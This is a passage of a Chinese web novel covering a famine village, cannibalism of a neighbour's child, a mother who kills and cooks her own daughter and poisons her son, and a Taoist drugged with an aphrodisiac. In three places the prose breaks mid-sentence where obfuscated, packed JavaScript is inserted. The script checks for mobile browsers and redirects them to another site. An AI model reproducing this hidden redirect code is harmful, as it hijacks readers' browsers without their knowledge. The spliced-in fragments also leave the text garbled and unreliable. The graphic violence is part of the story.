她嗅了嗅,是肉的味道。可以从那一丝淡淡的清香中闻出,是清炖的肉,从肉里熬出一层薄纱似的油来,飘在汤面上,肉块从鲜红变成粉白粉白的颜色,侧边是乳白的蹄筋,一口下去,鲜香味就在嘴里绽开...... 肚子咕咕地叫了起来,她有些恼怒地关上窗,扔了皮帽,脱了鞋,上床。一气呵成,眼不见心不烦。 只是接下来一连几天,一到半夜,这股香味就飘了进来,惹得柳心抱怨,“这是宰了一头猪吧,都几天了还没吃完,偷偷摸摸的,一到半夜就开小灶。也是见鬼了,我们的捕兽夹天天放着,怎么就连只鸟都不上钩?” 长垣嘴上不说,心里的魂儿也早被这肉香搅扰得不得安睡。“也可能是送的吧,王家的亲戚多,前几天看他们一家都快饿死了,眼睛直勾勾的,这关头伸把手也是正常。睡吧。” 长垣说王家饿得眼直,其实赵家这一屋子的人也快饿成疯子了。 袁氏从开始的皮包骨变成骨□□,眼睛浑浊不清,吃饭的时候一点活气也没有。为了节约粮食,喝了汤就去床上躺着,或者盯着床头那个小罐子发呆,嘴里叽里咕噜地说着什么。 家里的桌子腿门框最近被老鼠啃了凹槽,木屑掉了一地,她原本奇怪连蚂蚁都不来这家了,哪来的老鼠,后来才发现是长好啃的。已经没有蚂蚁了,她就去添抓蚂蚁的木棍,后来又开始咬,不知道她那小小的脑袋里感受到了什么奇特的味道,觉出了滋味,开始去咬各种各样的木头。 当然,她和长垣也不能幸免,经常看着一块地方出神,开始幻想对面是某种食物,整个人浑浑噩噩的。 那天难得地出了太阳,他们带着小篓子打算去山里碰碰运气,出门的时候正听见王家在骂人,再一听,这声音是长好的。他们走到王家门前,正撞上王大牛推推搡搡地把长好推出来。长好低着头,王大牛还在骂着,看见他们猛地关上了门。 “王大哥,怎么......” 长垣见大门紧闭,拉着长好进了屋,“怎么回事?你怎么到那儿去了?” “他们家煮肉,好香啊,我就半夜里走过去了。” 长好扒着门缝,看见他们一家人围在一起热热闹闹地吃饭,他们吃得油光满面,精神抖擞,在夜里也发着炯炯的光。她看得直流口水,想着要是能喝一口汤就好了。 “你偷了人家的肉?”长垣问。 “没有,他们锁了门,我进不去。是王三毛给我开的门,他还给我吃肉,说只要我做他的媳妇就给我吃肉。” 柳心记得那个三毛,和长好一般大,头上没长几根毛,又黑又皮,还老光着屁股打滚。这小瘪三还挺会骗人!她咬牙切齿道,“所以你就吃了他给的肉?” 长好点点头,又摇摇头。 “这是什么意思?是吃了还是没吃?”长垣面色不虞,小妹这么容易就被人骗走,万一哪天虏人过境就危险了。 长好想了想,从兜里掏出一块帕子,递给了柳心。一边看着长垣,一边道:“我舔了一口,肉给二哥二嫂还有娘吃。” 柳心和长垣都愣了愣,看着那双扑闪扑闪的黑眼睛,她简直想把她抱起来狠狠亲上两口。怎么会有这么懂事这么可爱的小姑娘啊! 长好见她定定地看着自己,眼神怪异,有些心虚,又从口袋里掏出了一块肉。 柳心看了看她,她怯生生道:“真的...是最后一块了。”她翻开了口袋,“不信你看。” 柳心乐了,咧开嘴笑,长好忽然将肉推进了她嘴里,一边张望,“嫂嫂快吃吧,被三毛他爹看见了他要挨打的。” 柳心笑着看了眼长垣,一面嚼着,“这肉怎么怪怪的。” “什么怪?” “说不上来,怪...软和?”她还从来没吃过这种口味的肉,她发现长垣也一直看着那块肉出神,眉头微皱。 长好道:“二哥,你怎么不吃?” 长垣似乎突然想到了什么,“昨天吃肉的时候四毛在不在?” “四毛......四毛不在家好几天了,三毛说家里养不起这么多人,把她送去外婆家养了。” 长好还不明白怎么回事,而柳心听了这话却是突然心中一滞,呆呆地望向了长垣,咚——咚——咚—— 她胸腔里的那颗心脏像一面巨大的鼓被长垣的话敲响,她突然想起那天在城里的那群蛮虏。想到锋利的菜刀划过滑嫩的、生着汗毛的皮肉,斩断骨头,剖开内脏...... 呕—— 她的双手突然颤抖,下一刻扶着身体吐了出来。那股滑嫩的柔软的味道还在她口中,似乎油脂、膻气变做了一张浆糊皮,牢牢地扒在口腔,她一边呕着,一边大颗大颗的眼泪掉了下来。 长好不知所措,“嫂嫂,你怎么了?”“嫂嫂?” 长垣抚着她的背,一边让长好去找水来给她漱口,她见长好离开,抬起头看着长垣,眼带惊恐,“他们吃的是...是......四毛......” 她的牙齿都在颤抖,几乎将胆汁呕出来,“是她,是不是?” 长垣默了默,尽量表现出不那么惊恐的样子,淡淡道:“你想多了,不是。” “是她,一定是她.....”那个女孩子比长好还小几岁,刚刚学会走路,嘴里只会不清不楚地呀呀一一,吃得又多,又爱哭闹,这几天都没再听见她哭过,是了,再也哭不出声了...... 她用手抠着喉咙,分明已经没有什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056250|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以突吐,却还是固执地呕吐,渐渐地,头脑有些发昏,就这么像旁边倒了下去。 袁氏坐在床边呆呆地盯着那口罐子,看见长好在房里翻箱倒柜,问了一声,却没听清楚她在说什么。她的肚子似乎也和衰老的躯体一样,无知无觉,渐渐麻木,尝不出咸淡,感受不到痛苦。 “嫂嫂饿晕了,不知道为什么又是吐又是恶心,醒来一直病怏怏的。我那块糖呢?娘看见糖了吗?” 长好的话像蚊子似的在耳边嗡嗡着,又像风一样过耳飘走了,她全靠一口气撑着,病痛折磨着她,丈夫死后家里的光景大不如前,她的精神支柱也就倒塌了,但她还不能死,她得撑着,撑着赵家。 “嫂嫂....晕,恶心......” 嫂嫂,是长垣的媳妇,是那个心姐儿,病了...... 病了,不,恶心,呕吐,恶心......她怀长红的时候也是这样,恶心,吃什么都想吐,病怏怏的躺着。袁氏涣散的眼睛忽然定住,一把坐了起来。 “娘,你干什么去?披件衣服吧,外面冷!” 长好拿着衣服在后面跟着,一边扶她,袁氏像一具幽灵,猛然出现在门口,定定地盯着柳心。她半闭着的眼睛瞄到门后那个影子吓了一跳。 长垣顺着她视线看去,放下了手里的米汤,“娘?吓着您了?不是什么大事,就是太饿了。” “胡说,饿了怎么会犯恶心,怎么会吐成这样?” 袁氏一边说着一边走上前来,仔仔细细,从头到尾地扫了一遍柳心,自从她进门以来,她还从来没见过这样仔细的打量,说不上是什么眼神,总之看得她心里发毛。 看了一会儿,本来阴沉的脸上忽然露出了笑容,袁氏握着她的手,忽然道:“好啊!好啊!长垣媳妇这是怀上了!” 她笑得眼尾的皮肤都皱到了一起,不知看向哪个地方重复着,“好啊,我们赵家有后了。他爹,你看到了吗?我们赵家要有孙子了!” 柳心的手被她攥的有些疼,一身的鸡皮疙瘩,这老太太是疯了吗? 她不动声色地抽出手,“娘,不是怀孕,就是胃不太舒服,吃坏了东西。” 袁氏却像没听见似的,笑呵呵地看着她,“胃不舒服....胃不舒服是正常的,怀孩子都这样,嘴精细着呢。” 她瞄了一眼桌上的米汤,亲自要喂柳心,吓得她连连给长垣使眼色,长垣也显然没反应过来这一出,接过袁氏手里的米汤,“我来吧,娘。您有哪儿不舒服么,要不要明儿进城里请个大夫来?” 袁氏道:“我好得很,我这病一听这个好消息就全好了!你们放心吧,要说大夫,该给媳妇请个大夫才是。不过现在也没人愿意来这儿。” 她似乎有些苦恼,“偏偏老天作狠,天天吃这点东西怎么能行呢?一个身子两个人了,要好好养着,吃点好的。” 长垣古怪地看着她,没弄明白她这病是什么时候得来的,但看她精神矍铄,一扫之前病态,暂且看了柳心一眼,没做声。 24. 食人 袁氏走后,长垣对柳心道:“娘的病大半是心病,自从爹死后她就郁郁寡欢,强打着精神照顾我们,这段日子省吃省喝,瘦得不成人样了,这脑袋怕是还不太清楚。你别理她,先这么着,等撑过这段日子我再带她上城里看大夫。” 柳心有点害怕这老太太,怪邪门的,不过也不好说什么。“那你这段时间别出门,出门就喊我,我可不敢跟你娘单独待在家里。” 长垣笑道:“怎么,怕她还能吃了你不成?放心吧,你这肚子里有她的金孙,她吃谁也不忍心吃了你。” 柳心白了他一眼,“那可说不准,你老子娘你当然不怕了,这家就我一个最危险。” “得,把汤喝了吧,我洗碗去。” 在柳心的瞪眼中,长垣端着碗走了出去,看见院子里一个瘦小的背影蹲在那棵树前,以为是长好又在找蚂蚁,喊了一声,“别找了,长好,蚂蚁不来咱家了,快回去睡吧。” 那影子回过头来,却是袁氏直愣愣地飘过去,“娘?您在这找什么呢?” 袁氏一边走一边道:“媳妇饿了,得吃点好的,得找点好吃的给她。补身体......” 长垣怔怔的,然后哭笑不得地离开了。 柳心躺在床上,只要一想起那块肉胃里就翻江倒海起来,肚子一边由于饥饿而疼痛,一边却又什么也吃不下去,后来连米汤也没有,水源渐渐成了稀缺品,她嘴唇干裂,皮肤发黑。她想,人肉大概是有毒的,又或者是四毛的鬼魂在报复她,一想到她挂着鼻涕在院子里走来走的的样子,她就害怕。 人肉眼可见的瘦下去,比长好还瘦。加之总觉得有一双眼睛在暗地里盯着她,她觉得自己也要疯了,饿疯了,吓疯了,在这个破败荒芜的小乡村里,人类脆弱得不堪一击,也可怕得胜过妖魔。 她昏昏沉沉地睡了许久,不知道时间,她似乎听到长好的惊呼,“好烫啊!二哥,嫂嫂是不是要死掉了?” “你在这里守着心姐,我去城里找大夫。” 又过了一会,她的眼前似乎出现了那张苍老的面庞,浑浊的眼睛,像鬼魂一样.......用一双贪婪的目光看着她。 她痛苦地闭上眼睛,渗出的不知是汗还是泪,“别走,长垣,长好,别走——” 一双手从她的脸上抚摸而过,冰凉的,皱巴巴的,她的心一直在跳,动弹不得,最后那双手到了她的肚子上,贴了上去。 “娘,嫂嫂会死吗?”是长好的声音。 那双手似乎离开了她的身体,开始拿汤勺给她喂水,“不会。” 女人坚定道:“嫂嫂不会死,她只是太虚弱了。长好,你希望嫂嫂死吗?” “不!嫂嫂很好看,也很好,我不要嫂嫂死。” 她的嘴里被放进了一颗糖块,甜滋滋的,是麦芽糖的味道。是她给的那块麦芽糖,长好没有吃掉它,小心翼翼地藏在那个罐子里,她年纪最小,挨的饿却最多,可能是饿怕了,像只小仓鼠一样,吃什么都习惯留一点藏起来,以备不时之需。她上次清扫房间时看到的,那罐子里只剩最后一个小糖块了。 长好带着些许哭腔,女人嘘了一声,“娘也不想嫂嫂死,所以咱们得帮嫂嫂,好吗?“ “好。” “长好乖,娘知道小长好最乖最好了。” ...... 声音渐渐走远,四周安静下来,麦芽糖的香浓甜味像蜜一样将她的神经浸泡在里面,渐渐地睡了过去。 再次醒来,她本能地张着嘴咽了一口汤,滚烫的,香浓的汤汁,带着油脂,滑进了喉咙里。她意识逐渐清晰,努力想要睁开眼睛。 “娘?你给她喝的什么?”“ “鸡汤。熬了两个时辰的鸡汤。你回来了,快坐下,那碗里的鸡肉心姐吃不了,你趁热吃了。“ “哪来的鸡?” “你大姐叫人送来的,我跟她说了心姐的事,她很高兴呢。” 长垣嚼着鸡肉的牙齿忽然顿住了,“大姐怎么可能给我们送东西?” “你这话说的,那再怎样也是你亲姐...我的亲女儿,她亲侄子都要饿死了,她怎么不能送点东西来?” 袁氏嗔怪地看着长垣,嘴上挂着笑容,一边朝长垣走去,“要是喜欢喝汤,再给你匀一点心姐的。” 她把汤倒进了长垣的碗里,搅了搅面上的浮油,一边推到长垣嘴边,“听话,快喝吧,从小到大,娘都是最疼你的,给你的都是好东西。” 长垣本不想喝,只觉得袁氏今日怪怪的,但已经被碗对嘴推到了边上,汤从两边嘴角溢出,便也只得吸了一口。 正要吞进去,却听得那边柳心终于清醒过来,哇得一声又干呕。 长垣正要看去,袁氏仍扶着那碗要他喝尽,便听柳心咕咚一声从床上掉下来,一边朝他们爬了过来,“长垣,别喝!” “她杀了小妹!她是个疯子!” 柳心跌跌撞撞爬起来,猛地扑了过来,打翻了长垣手里的碗,她双眼通红,浑身发抖地扶着他支撑着自己。 “你娘已经完全疯了,她杀了小妹,把她....把她熬成了汤给我们喝......” 长垣愣了愣,“你说什么?” 这怎么可能呢?长好可是袁氏的亲女儿,是她最小的女儿。 柳心将放在一边的还装着汤的锅拿了下来,用汤勺寻找着什么,继而她顿了顿,颤抖着捧给长垣看,一,二,三,四,五,六,七,八,九...... 九根手指头,尽管被斩断,看不出是动物还是人的手指,但小妹天生左手只有四根手指,这是全村人都知道的事情。这锅汤里浸泡着的,是小妹的手指。 前不久她还用这双手喂她吃糖块,温热的,柔软的小手...... 长垣双眼猩红,发出一声怒吼,眼泪一滴一滴地落在地上。 “为什么?娘?小妹是你的亲女儿啊,你怎么忍心亲自放干了她的血,吃她的肉?” “不吃肉,就死了。不吃肉,心姐没有营养,孩子就死了......” “没有孩子!“长垣一拳打在了桌子上,恨意无处发泄,他握着袁氏的肩膀,像抖谷子一样摇晃着她瘦弱的身体,“你清醒点吧!没有孩子!心姐只是吃了四毛犯恶心,我们连夫妻之实都没有,哪来的孩子!” “没有?”袁氏愣了愣,“没有......”“怎么可能没有?” 柳心想了想,拉开了袖子,赫然一道朱砂印记映入袁氏眼中。 她的心猛然一痛,几乎站立不住,整个人向后倒去,“即便真的是孩子,这个肚子里还没出生,连个模样都没有的东西,真的比你活生生的女儿还重要么?虎毒尚不食子........” “你闭嘴!”袁氏似乎清醒过来,怒气冲冲地看着柳心,抬手朝她扔了一只碗。 哐啷一声摔在墙上,柳心恨恨看着她,“现在后悔了?你手起刀落,割开小妹的脖子的时候怎么不知道后悔?怎么不知道难过?你以为那么多的血,就能从手上洗的掉?” 柳心一步一步逼近她,恨不得生劈了这女人,“小妹哭得那么大声,那么可怜,你难道就听不到她的害怕?她对你的恨?小妹说,她做鬼都不会放过你,她会永远待在这个家里,看着你受报应!” “闭嘴闭嘴!”袁氏发疯似的推开她,她看着自己的双手,看见血哗哗地从四面八方流过来,浓重的血腥气息,长好的哭声萦绕在耳边。不,不,都是幻觉,她喂她喝了糖水,里面有之前大夫给她开的安神药,她走得无知无觉,什么也不知道......长好最乖了,什么也没有说...... 柳心死死拉着她的手不放,“我百思不得其解,怎么有人圣人到如此地步,把一个跟你毫无血缘关系的人的孩子看得如此重,怎么有人竟然能为了别人的孩子杀了自己的亲生孩子?” “我知道你打得什么算盘,你以为这样我们就会感激你,会对你感激涕零,五体投地,恨不得余生把你当活菩萨太上皇一样供着,你就可以安享晚年,受着七邻八巷的追捧,是不是?你做的一切都是为了你自己!看似对孩子们疼爱,实则自私自利,毫无人性,你这种人根本就不配活在这世上!” “你懂什么!”袁氏像一头失去神智的母狼,发出最后的哀鸣,“谁要你们的感激!” 她眼睛死死盯着长垣,那双慈悲低顺的眉眼里露出了潜藏已久的恨意,“你,还有你,你们算什么东西?养不熟的白眼狼!天生的灾星!我养了这兔崽子这么久,亲爹找上来了,见钱眼开就跟着他走了,后来可好,人家不稀罕他。要是稀罕,当初怎么会不要他,怎么会落到我们手里?” “不是你们串通人牙子把孩子拐到手的么?现在又胡说八道什么?“ “呸!谁稀罕拐他这个病秧子,看着就养不活,还花了我五两银子!要不是我没有个男孩儿,实在没有办法,他就是丢去喂狼也没人会看这个小畜生一眼!” 长垣瘦弱的身躯一颤,咬牙扶住了桌子。 袁氏似笑非笑地看了他一眼,那笑里都是恨意,咬牙切齿,恨不得生吞活剥了他,“他亲爹因为这个小畜生害死了长红他爹,害得长红长好十几岁就没了爹,这些年我们过得有多艰难,受了多少白眼。都是他害得!” “既然如此,你该杀了他,而不是为了他,一次又一次地牺牲长红,又牺牲了长好。” “你以为我不想杀了他?”袁氏恨恨道:“所以我才给他娶了媳妇,只要生下孩子,赵家有了后,他就没有用了。” 她说着不知想到了什么,忽然笑了起来。 “后?谁的后?长垣的孩子和你有半点关系没有?”柳心连冷笑也笑不出来,只觉得这女人的想法出奇地离谱,长垣一个柳家的血脉,和赵家八竿子打不着,他怎么就能延续赵家的血脉? “他姓赵,就是我赵家的孩子,端的就是我赵家的瓦盆,续的赵家香火!“ “荒谬!” 柳心想,袁氏是真的疯了,疯得还不轻,走火入魔,行迹无由。 “他是姓赵,可流的是柳家的血,和你不一样,和赵家也不一样。和你一样的,只有长红长好两个人。你杀了自己的亲生孩子,你会受报应的,入了地狱,就要受九道轮回之苦,生生世世,不得好死。” “你吓唬我?”袁氏笑了起来,“要入地狱,也是他先下。” 她狞笑着看向面色青白的长垣,“本来还想着我们孤儿寡母,共同把我的乖孙带大的,你们却非要来逼我!好啊,那就一起死,黄泉路上,也有个人作伴。” 她说着将那个罐子从桌上抱了下来,往地上一坐,“老赵啊,我替你报仇了。你不是最喜欢长垣了么?死之前还挂念着他,既然你这么想他,那我们就一起来陪你了......” 柳心心下大骇,“你胡说什么?什么意思?” 袁氏从怀里摸出一把药渣,呆呆地嚼着,怎么也不说话,只是笑着。她的精神似乎一下子被抽走,整个人像断了线的木偶,以飞快的速度衰败下去。 柳心见她如此,转过头像向长垣求救,却见他不知何时紧皱着眉头,捂着胸口倒在地上。 “长垣?怎么了?” 长垣面色发青,嘴唇乌黑,嘴角淌出一抹血,接着剧烈咳嗽起来,边咳,边喷出大口鲜红的血液。 “你咳血了!这血......”她看向那碗落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长垣不知哪来的力气推开了她,撕下衣服包住了她的伤口。血是不再流出了,也或许是再没有了的缘故。 他将她抱了起来,放在板车上,一边往自己脖子上套。 “去哪儿?别动了。” 长垣刚刚失去了大量的血,虽然有她补血,但是毒素未清,说不好又要流血。 “去城里,去柳家找老太太,柳家什么都有,大夫也有,药也有……” 柳心想伸出脚踢他一脚,却发现自己一点力气也没有了,一挪动,直挺挺地倒了下去,咚得一声。长垣闻声忙走了过去扶她。 她觉得全身都火烧似的痛,起初是痒,抓着抓着就开始痛,胃里像坠了个秤砣,缚了条绳索。她伸出手拉住长垣,“别去。长垣,别去……” 她知道自己没有救了,从早几天开始她就吃不下饭,肠子绞痛,她一直觉得是吃了那块肉的缘故。越是不想吃,越是恶心,越是恶心,越是不想吃,她的头,她的腿,都会不时地疼痛。 她想,她的命数到了,这具身体挨到今日不容易,长垣没死,她也终于可以走了。 只是,“对……对不起。” 她颤巍巍地伸出手,长垣似有感应似的,低了低头凑近她,一只温柔的瘦小的手便在他头顶摸了摸,像摸小狗那样。带着他不懂的目光。 柳心看着小小的长垣,他的皮肤还没有那么白,也没有后来那么俊秀。但是脸上的神情却比那道士丰富得多,有人味得多。 对不起了,她心道,他入梦改变了她的结局,她却没能改变他的梦境走向,哪怕是个梦,也再次让他重历了一次这不堪回首的往事。 “是我对不起你,对不起小妹,小妹,大姐,爹……还有娘……都是我害的。” “赵长垣……”她的气息中带了几分怒气,“你没有害谁,也没有对不起谁,这些都是因果,因果报应,轮回不爽…… 笑一笑,别成天扳着个脸。” 长垣露出了一个难看的笑容,脸颊还挂着两行清泪。柳心笑道,“比那臭道士还是顺眼多了。” 她说着,心脏又猛地一抽。她痛的龇牙咧嘴,忍不住蜷缩。长垣紧张地看着她,“你别说话了,我带你去李家看病,马上就会好的。” 长垣将她摆好,盖了一床棉被,将绳子套在了脖子上,一边往进城的路上拉着。走了几步,他果然从鼻子里流出血来,柳心带着怒火的微弱的声音传来。 他知道她在骂他,却充耳不闻,固执地往前走着。 “心姐,你说人为什么一定要延续香火呢?人死如灯灭,就算是有了孩子,那孩子也不能代替他,继承他的意志,一切都要从头来过。 自己是自己,别人是别人,一个人只能有一个人生。延续也该延自己的命,死了又看不见摸不着,图什么呢?” 他听见柳心不知道是骂他蠢还是骂人蠢。 他勾了勾嘴角,“人可不就是最蠢最没用的东西,寿命短得可怜,一辈子做不完的事死前也不能安生,还要寄希望于别人……还不如神仙妖怪,魔也好,仙也好,长生不老,寿命无量。” 绳索勒得生疼,脖子擦破了皮,他皱了皱眉,感叹,“下辈子再也不要做人,咱们一起做神仙,做妖怪,也比现……” 他顿了顿,发觉后面的声音瞬时安静了下来,他转过头盯着那闭上眼熟睡的女孩,颤抖着摸上了她的颈部。 长垣像是被火烫伤了一样,猛地缩回了手。“心姐?心姐?” 被子里的人余温尚在,只是却没了呼吸。他抓住她的手,喷出一大口血来。他终于放弃,解开了绳索,对柳心道, “心姐……我走不动了,咱们一块走吧……” 25. 非她不可 滴——滴—— 酒液一颗一颗从光滑的青瓶口滴落在地,柳心忽而惊醒,空气中仿佛飘着淡淡的竹香。她扫了一眼四周,并不见那道身影,血液流失的那种麻感尚在。这次,又是哪? 有人敲了敲门,她心中一紧,打开门来却是宋璋拿着一件衣裳上来了。 “敲你半天门了,干什么呢?” 宋璋看了一眼柳心,双眼迷蒙,似乎还没睡醒,脸色也有些不好。 “我喝了点酒,睡迷了。” “怪不得,我看长垣道长刚从这儿走,应该也是来找你的。” “他进来了?”柳心的反应有些奇怪,宋璋只以为她是害怕,安慰道,“应该没进来,你不是还睡着吗?我看他手里拿着本经书……” 说着,她从衣服下面拿出了那本书,“这是他放在门口的,我刚刚看你晒的衣服掉院子里了,给你送过来,就看见它。” 那应该是没进来的,她无意中编了幻梦,恰好长垣经过被卷了进来,他还不知道这一点。还好,这样她也能假装不知道两人共同经历过的这些事了。 宋璋将衣服放在床边,问了柳心好几声都不见回应,“还没清醒么?喝成这样,明天起得来么?不是还要去修炼吗?” 说到这里柳心有些隐隐的抗拒,不知道他作何反应,和他经历了那些,她却一时不知该如何面对他。 “我替你打听了一些消息,万妖塔的钥匙可能在长垣无法衣的内袋里。” 宋璋觉得她左右也快离开这里了,她希望柳心能和弟弟团聚。而且待在这里,实在太危险。 “无法衣?你听谁说的?”柳心对这消息的来源有些警惕。 “我昨夜给明悟带酒,把他灌醉了套出来的。他说长垣从来不在澡堂洗澡,就是因为他穿的无法衣里有重要的东西,你说还能有什么重要的,肯定就是钥匙了。” “明悟?”又是明悟,她总觉得有哪里不对劲。 “明悟刚来青云山不久,又是分在长垣手下带着练功的,他的话可应该不错。总之,事儿给你说到了,这两天我估计就要回去了,你也抓紧时间。” 柳心点点头,转而问起宋璋的事,“你夫君回来了?” “家里来信说是在回来的路上了。” 宋璋走后柳心久久不能入睡,换上一只新蜡烛,醉酒误事,怕余醉未消,因而烧了一壶茶就这么坐着饮茶。 他入了她的梦,他知不知道呢?还是以为那是自己的梦。她不太希望他知道,在那个梦里他们纠缠不清,但她知道那只是梦,回到冷冰冰的现实,他只是青云山的道士。她必须分清梦境和现实。 那些梦境里的温柔都不过是水月镜花,现实里的长垣不会对她这种妖有半分情愫。她不能被区区一个梦打乱心绪,柳言还在等着她,对!柳言,她要拿到那把钥匙,走进万妖塔里。 第二日柳心如约去竹林练功,长垣看着和往常并没什么区别,也没有问她那个梦的问题,好像什么也没有发生,一切如常。 她悬着的心放了下来,却隐隐又觉得空空的。 长垣说了几遍,柳心没有听见,抬起头便见柳心直勾勾盯着他的身体。他皱起了眉,“柳姑娘?” 柳心回过神,暂且放下对脱下他衣服的幻想。“什么?” “我说一会儿我要下山帮掌门去素心馆拿药,你跟我一起去。” 柳心下意识想拒绝,长垣却没给她商量的余地,只是通知。她虽然有禁制害不了别人,但同时也容易被别人害,山门之中还有一些长老是能闻到妖气的,如果被他们撞见,他和柳心都会有麻烦。 长垣每个月都要下山一趟,赤峰掌门年纪渐长,身体每况愈下,常常感到心悸发汗,只有素心馆配制的丸药可以稍稍缓解。他看着赤峰的样子,想到自己。 看吧,人就是这样脆弱,上天是不公平的,创造了妖魔,创造了神仙,又创造了人类。就连花草都能声生不息,神仙妖魔千年不死,人活百年却已极致。赤峰在当时那一拨师兄弟中,天资就不敌赤练,若非后来那事,是轮不到他作掌门的。修炼了这么多年,现在已近八十,功法却只比他高一层,又为俗世事务烦扰,迟迟不能突破最后一关飞升成仙。他十三岁入山门以来,日夜苦修,自诩天资聪颖,颇有悟性,他以后绝不能像赤峰一样。 因与医馆掌柜是熟识,长垣拿药只让柳心则在门外等候,等拿完药却不见柳心,他的心忽然提了起来。 已近薄暮,这条街上不远处有一条红粉巷,常有流连烟花之人,她没有妖力,皮囊又好,该不会被贼人掳掠过去…… 他抓了旁边摆摊卖画的人,“看见刚才这儿的姑娘哪去了吗?” “你是说那个长得很漂亮,绿衣服的姑娘?刚刚还在这的,后来看见她往前边走了。” 老板指了指西边的路,长垣心想,没有人拉她,也没有打斗的痕迹……还是她逃跑了? 这样想着,他竟然忘记了她手上还有他的禁步镯,长垣沉着脸开始寻找着,表演炸火花的、唱戏班子、耍杂技的、卖胭脂水粉的…… 到处都闹哄哄的,到处都是相似的人声,却唯独找不到她。他想,如果她真的走了…… “长垣!”柳心的声音忽然出现在他身后,他猛地回过头来,便见她手里拿着一根糖葫芦,笑盈盈地看着他。 她的手像蝴蝶一样在他肩头轻触又迅速飞走,却引得他心头颤动不已。 柳心张开手掌笑着看他,“愣什么阿,给钱!” 他的心脏还在扑通扑通地跳动,眼前的脸与梦中的脸骤然重合,他突然拉下了脸来,将钱袋子往她手里一扔,大步向前走去。 柳心付了钱有一搭没一搭地吊在后面,冲着他做鬼脸,“不就一根糖葫芦吗,以为老娘自己买不起啊,什么毛病!” 要不是为了钥匙,她才不跟着他呢。小气鬼!冷面怪! 街市上渐渐点起灯来,一条不算狭窄的巷子,到了夜里,酒楼各处揽客的纷纷站在门口,各色卖热茶饮热果子的摊贩挑了间隙摆摊吆喝,一时间竟也显得促狭起来。长垣虽然穿着一身鱼肚白衣青底鞋,在这鲜艳热闹中也多了几分热气。 柳心看着那背影,一边盘算着一边想到了一个整治他的好办法。 “哎呀!” 背后传来一声夸张的惨叫,长垣回过头去,柳心红着眼睛可怜巴巴道:“我脚崴了,走不了了。” “这里是平地。”长垣丝毫不信她的假把戏。 “不信你看。”柳心作势要拉起裤腿脱鞋给他看。 “我不看。”他转过头去就要走,一看就知道这妖女又要耍弄诡计,越是理会她越是来劲。 “你看嘛,我真的走不动了,长垣——赵长垣你居然不理我,我崴了脚你也不管我,就把我一个人丢在这里,呜呜呜——呜呜呜——” 柳心哭得梨花带雨,横坐在路中间,过往的行人俱朝长垣投来了玩味的目光,有好事者打趣道:“哎呀郎君,你看你娘子走不了路了,你怎么这么狠心呢。” “就是,小郎君,你娘子喊你这么久你应也不应,有什么事回家再说嘛,这大街上当着人家道也不好啊。” 长垣脸色青一阵白一阵,“她不是我娘子。” 柳心闻言哭得更伤心了,一个卖热汤的妇人拉着长垣的手走到柳心跟前,“少年夫妻吵架拌嘴是常有的,这大冷天的在这赌气冻坏了身体,那还不是自家人吃亏!快快快,把你娘子背起来。” “我......” 柳心一边抹眼泪,一边偷偷瞄了他一眼,被长垣捉个正着,她挑衅似的挑了挑眉,随机又哭哭啼啼地拉着那妇人的手。长垣被迫要去扶她,柳心却将手一缩,长垣熄下的火噌得又冒了出来。 “你到底要做什么?” 柳心大手一指,“坐船走吧。” ...... 浆声伴着歌声悠悠回荡在水面,柳心靠在船边吹着风烤着炉子,长垣冷眼看着,越看越不惯,索性到船头吹冷风。 忽而听得扑通一声,便见隐约有人在水里扑腾,船夫道:“哎呀,这是有人落水了!” 长垣见那人离得近,目测水势不深,便纵身而下救了那人上来。 长垣救了人到了船边见是个女子,脱了外袍与她,送进船内来。那女子道了谢,忽而便跪倒在地,“郎君大恩,云娘无以为报,甘愿为奴为妾,侍奉郎君左右。” 长垣只是客气道:“姑娘言重了,区区小事,不足挂齿。我叫船夫送姑娘回去吧。” 却不想那女子忽而保住了他的手整个人贴了上来,霎时掉了眼泪,“郎君既救了我,与我肌肤相亲,我衣衫不整,全被郎君看了去,如今再叫我回去岂不是要我去死?郎君无论如何也得收下我,哪怕为奴为婢,我也心甘情愿啊。” 女子的哭诉声中,夹杂着清脆的嗑瓜子的声音,长垣冷冷朝那头望去,就见柳心盘着二郎腿就要笑出声的模样......是这妖女所为。 “我是道士,不可娶妻生子。” “道士也可以还俗的嘛。”女子柔媚的声音像一只毛茸茸的狐狸尾巴勾上了他的身体,在他心间一摇一摆地拨动着。 “整日修道,食露饮冰,你们修的是什么道?可曾看见过道?倒不如还了俗,锦帷暖帐,香玉在怀,热汤滚饭,不比孤零零的和那群道士作伴要好么?” 说话间,一杯温酒已下了肚,长垣一边咳嗽着,一边推开她。 眼前渐渐模糊,胸中似有一团火苗隐隐作祟。是药...他迷乱中寻觅着,仿佛看见千万张娇俏的面孔,似笑非笑地看着他,似乎在嘲笑。 看吧,凭他修什么道,还不是落在了她手里。她就不信,中了这烈性的春药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳心对她使了个眼色,她便会意柔声道:“郎君何必如此自苦呢?这里这么热,又这么硬,随我入了洞房中去,自有那温软床榻,幽静僻处,只有你我二人。来日再生下一个小郎君,也同郎君你一样俊俏,一样聪明......我们一同看星看雪,相互依偎,携手白头。这人间最大的幸福莫过于此......” 长垣的身体开始发抖,女子握着他的手倾身而上,眼见着那柔软的嘴唇将要触碰那红粉,长垣却忽而一把推开了她。 “心姐——” 男子压抑后爆发的呓语让柳心心跳一滞,漆黑的瞳孔刹那间隐现出淡紫的光,微微闪烁着。 她放下了手中的杯盏,一步一步走向了长垣。 